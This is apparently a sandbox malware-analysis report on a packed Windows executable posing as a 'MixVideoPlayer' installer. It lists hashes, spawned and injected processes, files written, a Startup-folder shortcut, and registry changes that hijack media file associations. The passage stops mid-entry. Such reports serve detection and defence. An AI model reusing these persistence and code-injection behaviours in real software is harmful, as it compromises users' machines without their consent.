MD5: e8e0c8631b613bbdf0ed6716b41823e0
SHA1: 4d3a683a078ef9fe89bcd6adc95c2765076dfaca
SHA256: 32ce326a94c2024d95442e65779563c9b66ed5b6c6514614b05c1c9677c9fb7b
SSDeep: 12288:ihdoH1uo7I9YTWw9GkqT/fA40i0sHyyPY6w0f5L54pP:0uHN1ZcNrfA7i1HyVnY5FK
Size: 551336 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PECompactV2X, PECompactv20, UPolyXv05_v6
Company: no certificate found
Created at: 2015-05-15 18:55:09
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

mixvideoplayersetup.exe:1924
DeleteTasks.exe:428
LTV2.exe:2188
LTV2.exe:2672
LTV2.exe:3028

The Trojan injects its code into the following process(es):

MixVideoPlayer.exe:3256
%original file name%.exe:1992
BrowserWeb.exe:2180

Mutexes

The following mutexes were created/opened:

DDrawWindowListMutex
__DDrawCheckExclMode__
DDrawDriverObjectListMutex
__DDrawExclMode__
CTF.TMD.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.Layouts.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.Asm.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.Compart.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.LBES.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
RasPbFile
WininetProxyRegistryMutex
WininetConnectionMutex
WininetStartupMutex
c:!documents and settings!adm!local settings!history!history.ie5!
c:!documents and settings!adm!cookies!
ShimCacheMutex
c:!documents and settings!adm!local settings!temporary internet files!content.ie5!
_!MSFTHISTORY!_
DBWinMutex
oleacc-msaa-loaded
ZonesLockedCacheCounterMutex
ZonesCacheCounterMutex
ZonesCounterMutex

File activity

The process mixvideoplayersetup.exe:1924 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\MixVideoPlayer\Languages\ChineseT.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Swedish.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\System.dll (11 bytes)
%Program Files%\MixVideoPlayer\Languages\Danish.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Hungarian.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Estonian.ini (3 bytes)
%Program Files%\MixVideoPlayer\dotNetFx40_Full_setup.exe (30344 bytes)
%Program Files%\MixVideoPlayer\Languages\Slovak.ini (3 bytes)
%Program Files%\MixVideoPlayer\policy.2.0.taglib-sharp.config (377 bytes)
%Program Files%\MixVideoPlayer\BrowserWeb.exe (2392 bytes)
%Program Files%\MixVideoPlayer\references\libreria.png (244 bytes)
%Program Files%\MixVideoPlayer\Languages\Norwegian.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\German.ini (3 bytes)
%Program Files%\MixVideoPlayer\references\PhotoLoader.dll (784 bytes)
%Program Files%\MixVideoPlayer\Languages\Slovenian.ini (3 bytes)
%Program Files%\MixVideoPlayer\PhotoLoader.dll (784 bytes)
%Program Files%\MixVideoPlayer\Languages\Czech.ini (3 bytes)
%Program Files%\MixVideoPlayer\references\mixChecker.exe (27704 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\SimpleSC.dll (1856 bytes)
%Program Files%\MixVideoPlayer\Languages\Polish.ini (3 bytes)
%Program Files%\MixVideoPlayer\references\Interop.SHDocVw.dll (5064 bytes)
%Program Files%\MixVideoPlayer\Languages\Catalan.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\ChineseS.ini (3 bytes)
%Program Files%\MixVideoPlayer\mixvideoplayer.affcode (3 bytes)
%Program Files%\MixVideoPlayer\uninstall.exe (4489 bytes)
%Program Files%\MixVideoPlayer\icon.ico (12536 bytes)
%Program Files%\MixVideoPlayer\Languages\Thai.ini (5 bytes)
%Program Files%\MixVideoPlayer\references\extvideo.png (146 bytes)
%Program Files%\MixVideoPlayer\references\extaudio.png (310 bytes)
%Program Files%\MixVideoPlayer\Languages\Russian.ini (5 bytes)
%Program Files%\MixVideoPlayer\Languages\Bulgarian.ini (5 bytes)
%Program Files%\MixVideoPlayer\Languages\Hindi.ini (6 bytes)
%Program Files%\MixVideoPlayer\Languages\Latvian.ini (3 bytes)
%Program Files%\MixVideoPlayer\NLog.dll (14184 bytes)
%Program Files%\MixVideoPlayer\Languages\Italian.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Korean.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\French.ini (3 bytes)
%Program Files%\MixVideoPlayer\Languages\Romanian.ini (3 bytes)
%Program Files%\MixVideoPlayer\icon-uninstall.ico (3616 bytes)
%Program Files%\MixVideoPlayer\Languages\Vietnamese.ini (4 bytes)
%Program Files%\MixVideoPlayer\Newtonsoft.Json.dll (16944 bytes)
%Program Files%\MixVideoPlayer\references\taglib-sharp.dll (15536 bytes)
%Program Files%\MixVideoPlayer\FrameworkControl.exe (14184 bytes)
%Program Files%\MixVideoPlayer\references\Newtonsoft.Json.dll (15536 bytes)
%Program Files%\MixVideoPlayer\Languages\Indonesian.ini (3 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\MixVideoPlayer\Uninstall MixVideoPlayer.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\ZipDLL.dll (6360 bytes)
%Program Files%\MixVideoPlayer\Languages\HaitianCreole.ini (3 bytes)
%Program Files%\MixVideoPlayer\Windows\Thumbs.db (1856 bytes)
%Program Files%\MixVideoPlayer\Languages\Greek.ini (5 bytes)
%Program Files%\MixVideoPlayer\Languages\Hebrew.ini (4 bytes)
%Program Files%\MixVideoPlayer\Languages\Finnish.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp (4 bytes)
%Program Files%\MixVideoPlayer\references\NDde.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\nsProcess.dll (4 bytes)
%Program Files%\MixVideoPlayer\taglib-sharp.dll (15536 bytes)
%Program Files%\MixVideoPlayer\mixUpdater.exe (13368 bytes)
%Program Files%\MixVideoPlayer\Snowplow.Tracker.dll (784 bytes)
%Program Files%\MixVideoPlayer\MixVideoPlayer.exe (76078 bytes)
%Program Files%\MixVideoPlayer\Languages\Japanese.ini (4 bytes)
%Program Files%\MixVideoPlayer\Languages\Portuguese.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\AccessControl.dll (13 bytes)
%Program Files%\MixVideoPlayer\Sider.dll (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn2.tmp (177732 bytes)
%Program Files%\MixVideoPlayer\Windows\logopeq-icon.ico (9608 bytes)
%Program Files%\MixVideoPlayer\LTV2.exe (6 bytes)
%Program Files%\MixVideoPlayer\Controls\ifishplayer-icon2.ico (12536 bytes)
%Program Files%\MixVideoPlayer\Languages\Ukrainian.ini (5 bytes)
%Program Files%\MixVideoPlayer\Microsoft.Win32.TaskScheduler.dll (8560 bytes)
%Program Files%\MixVideoPlayer\mixvideoplayer.uidnum (23 bytes)
%Program Files%\MixVideoPlayer\Languages\Arabic.ini (4 bytes)
%Program Files%\MixVideoPlayer\Languages\Turkish.ini (3 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\MixVideoPlayer\MixVideoPlayer.lnk (1 bytes)
%Program Files%\MixVideoPlayer\Languages\Dutch.ini (3 bytes)
%Program Files%\MixVideoPlayer\references\policy.2.0.taglib-sharp.dll (3 bytes)
%Program Files%\MixVideoPlayer\Languages\English.ini (3 bytes)
%Program Files%\MixVideoPlayer\Controls\Thumbs.db (1552 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\WebBrowserMixVideoPlayer.lnk (1 bytes)
%Program Files%\MixVideoPlayer\Languages\Spanish.ini (3 bytes)
%Documents and Settings%\%current user%\Desktop\MixVideoPlayer.lnk (1 bytes)
%Program Files%\MixVideoPlayer\references\policy.2.0.taglib-sharp.config (377 bytes)
%Program Files%\MixVideoPlayer\DeleteTasks.exe (10 bytes)
%Program Files%\MixVideoPlayer\references\Thumbs.db (5 bytes)
%Program Files%\MixVideoPlayer\Languages\Lithuanian.ini (3 bytes)
%Program Files%\MixVideoPlayer\policy.2.0.taglib-sharp.dll (3 bytes)
%Program Files%\MixVideoPlayer\LTVNetSdk.dll (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\NSISdl.dll (14 bytes)
%Program Files%\MixVideoPlayer\references\folder.png (472 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\SimpleSC.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\AccessControl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\nsProcess.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi1.tmp (0 bytes)
%Program Files%\MixVideoPlayer\references\ffmpeg.zip (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\ZipDLL.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\NSISdl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp (0 bytes)

The process %original file name%.exe:1992 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\loading-install[1].gif (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\style[1].css (3073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\05dc20f9-acaf-4637-badd-964e83134c18\mixvideoplayersetup.exe (1720480 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\MixVideoPlayerSetup[1].exe (1720480 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\i-download[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\msjava[1].dll (465777 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\progress-bar[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\bullet-short[1].gif (54 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\loadingBar[1].gif (8297 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\style[1].css (114 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\loadingBar[1].gif (5783 bytes)
%System%\wbem\Logs\wbemprox.log (225 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\945b87404655389288b7fb2a9611b8ad46ee1bb4430308519c9f16d1587274eb65dce3c1fdc5c473c7ed71bb87481a6fdaf6c52748dfbe98[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\loadingBar[1].gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\MixVideoPlayerSetup[1].exe (0 bytes)

Registry activity

The process mixvideoplayersetup.exe:1924 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCR\mixp.flv\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\.mp4]
"(Default)" = "mixp.mp4"

[HKCR\mixp.flv\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.3gp\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\.mkv]
"(Default)" = "mixp.mkv"

[HKCR\mixp.aac]
"(Default)" = "mixp media file (.aac)"

[HKCR\.mpeg]
"(Default)" = "mixp.mpeg"

[HKCR\mixp.mkv\shell]
"(Default)" = "Play"

[HKCR\mixp.mkv\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.mpeg\shell]
"(Default)" = "Play"

[HKCR\mixp.wmv]
"(Default)" = "mixp media file (.wmv)"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".3gp" = ""

[HKCR\.flv]
"(Default)" = "mixp.flv"

[HKCR\.wma]
"mixp.backup" = "WMAFile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MixVideoPlayer]
"DisplayVersion" = "v1.0.0.21"

[HKCR\.mpg]
"(Default)" = "mixp.mpg"

[HKCR\.mov]
"(Default)" = "mixp.mov"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCR\mixp.wmv\shell]
"(Default)" = "Play"

[HKCR\.avi]
"(Default)" = "mixp.avi"

[HKCR\mixp.mp4\shell]
"(Default)" = "Play"

[HKCR\mixp.3gp\shell]
"(Default)" = "Play"

[HKCR\mixp.mp3\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\mixp.mov\shell]
"(Default)" = "Play"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCR\mixp.3gp\shell\Play]
"(Default)" = "Play"

[HKLM\SOFTWARE\MixVideoPlayer\MixVideoPlayer]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.divx]
"(Default)" = "mixp media file (.divx)"

[HKCR\mixp.mkv]
"(Default)" = "mixp media file (.mkv)"

[HKCR\.wma]
"(Default)" = "mixp.wma"

[HKCR\.aif]
"(Default)" = "mixp.aif"

[HKCR\mixp.avi\shell\Play]
"(Default)" = "Play"

[HKCR\.wav]
"mixp.backup" = "soundrec"

[HKCR\mixp.flv\shell]
"(Default)" = "Play"

[HKCR\.aif]
"mixp.backup" = "AIFFFile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MixVideoPlayer]
"DisplayIcon" = "%Program Files%\MixVideoPlayer\icon.ico"

[HKCR\mixp.mov\shell\Play]
"(Default)" = "Play"

[HKCR\mixp.mpeg\shell\Play]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MixVideoPlayer]
"Publisher" = "SoftForce LLC"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MixVideoPlayer]
"DisplayName" = "MixVideoPlayer"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".AAC" = ""

[HKCR\mixp.aif\shell\Play]
"(Default)" = "Play"

[HKCR\mixp.divx\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.mp4\shell\Play]
"(Default)" = "Play"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".mpeg" = ""

[HKCR\mixp.wmv\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\mixp.mov]
"(Default)" = "mixp media file (.mov)"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".aif" = ""

[HKCR\mixp.3gp]
"(Default)" = "mixp media file (.3gp)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Internet Explorer\Styles]
"MaxScriptStatements" = "4294967295"

[HKCR\mixp.mov\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCR\mixp.mpg]
"(Default)" = "mixp media file (.mpg)"

[HKCR\mixp.mp4\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.mpeg]
"(Default)" = "mixp media file (.mpeg)"

[HKCR\mixp.divx\shell\Play]
"(Default)" = "Play"

[HKCR\.wav]
"(Default)" = "mixp.wav"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".flv" = ""

[HKCR\mixp.avi]
"(Default)" = "mixp media file (.avi)"

[HKCR\mixp.wma]
"(Default)" = "mixp media file (.wma)"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7C 06 7A 72 61 60 85 4C C4 DF 45 69 DD 21 F9 42"

[HKCR\.divx]
"(Default)" = "mixp.divx"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".divx" = ""

[HKCR\mixp.mp4\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\mixp.avi\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".wma" = ""

[HKCR\Applications\MixVideoPlayer.exe]
"FriendlyAppName" = "MixVideoPlayer"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".mkv" = ""
".wmv" = ""

[HKCR\mixp.3gp\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION]
"iexplore.exe" = "11001"

[HKCR\mixp.wav\shell\Play]
"(Default)" = "Play"

[HKCR\mixp.wma\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.wmv\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MixVideoPlayer]
"EstimatedSize" = "9733"

[HKCR\mixp.wmv\shell\Play]
"(Default)" = "Play"

[HKCR\mixp.aif\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\mixp.mpg\shell\Play]
"(Default)" = "Play"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCR\mixp.mp3\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.avi\shell]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MixVideoPlayer]
"UninstallString" = "%Program Files%\MixVideoPlayer\uninstall.exe"

[HKCR\mixp.mp4]
"(Default)" = "mixp media file (.mp4)"

[HKCR\Applications\MixVideoPlayer.exe]
"(Default)" = ""

[HKCR\mixp.mp3\shell\Play]
"(Default)" = "Play"

[HKCR\mixp.aac\shell\Play]
"(Default)" = "Play"

[HKCR\.aac]
"(Default)" = "mixp.aac"

[HKCR\mixp.aif]
"(Default)" = "mixp media file (.aif)"

[HKCR\mixp.avi\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCR\mixp.mp3]
"(Default)" = "mixp media file (.mp3)"

[HKCR\.mp3]
"mixp.backup" = "mp3file"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".avi" = ""

[HKCR\.mpg]
"mixp.backup" = "mpegfile"

[HKCR\mixp.aif\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\Applications\MixVideoPlayer.exe\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\mixp.flv]
"(Default)" = "mixp media file (.flv)"

[HKCR\mixp.divx\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\mixp.mkv\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\mixp.wav\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCR\mixp.aac\shell]
"(Default)" = "Play"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCR\mixp.aac\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.mpg\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\mixp.wav\shell]
"(Default)" = "Play"

[HKCR\mixp.wav\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.mkv\shell\Play]
"(Default)" = "Play"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".mov" = ""

[HKCR\mixp.mpg\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.mov\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".MP3" = ""

[HKLM\SOFTWARE\MixVideoPlayer\MixVideoPlayer]
"InstallDir" = "%Program Files%\MixVideoPlayer"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".mp4" = ""

[HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION]
"BrowserWeb.exe" = "11001"

[HKCR\mixp.mpeg\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\mixp.wma\shell]
"(Default)" = "Play"

[HKCR\.wmv]
"mixp.backup" = "WMVFile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCR\mixp.aif\shell]
"(Default)" = "Play"

[HKCR\mixp.aac\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCR\mixp.flv\shell\Play]
"(Default)" = "Play"

[HKCR\.3gp]
"(Default)" = "mixp.3gp"

[HKCR\.avi]
"mixp.backup" = "avifile"

[HKCR\.wmv]
"(Default)" = "mixp.wmv"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".mpg" = ""

[HKCR\mixp.mpg\shell]
"(Default)" = "Play"

[HKCR\mixp.wma\shell\Play\command]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe /m %1"

[HKCR\.mp3]
"(Default)" = "mixp.mp3"

[HKCR\mixp.mpeg\DefaultIcon]
"(Default)" = "%Program Files%\MixVideoPlayer\MixVideoPlayer.exe"

[HKCR\mixp.wav]
"(Default)" = "mixp media file (.wav)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCR\Applications\MixVideoPlayer.exe\SupportedTypes]
".WAV" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCR\mixp.divx\shell]
"(Default)" = "Play"

[HKCR\.mpeg]
"mixp.backup" = "mpegfile"

[HKCR\mixp.mp3\shell]
"(Default)" = "Play"

[HKCR\mixp.wma\shell\Play]
"(Default)" = "Play"

The process DeleteTasks.exe:428 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD 5B 33 A9 8A 74 DE 07 BC 0D 58 3C 7F 97 2A B7"

The process MixVideoPlayer.exe:3256 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "81 5F FC 21 68 B7 23 4B 7F AF 55 33 1B E3 2C C0"

The process LTV2.exe:2188 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "27 35 58 F6 41 F9 18 67 87 23 C2 42 08 B2 1B 2A"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

The process LTV2.exe:2672 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
